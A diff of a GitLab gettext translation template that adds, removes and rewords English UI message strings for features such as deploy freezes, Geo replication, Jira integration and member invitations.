@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
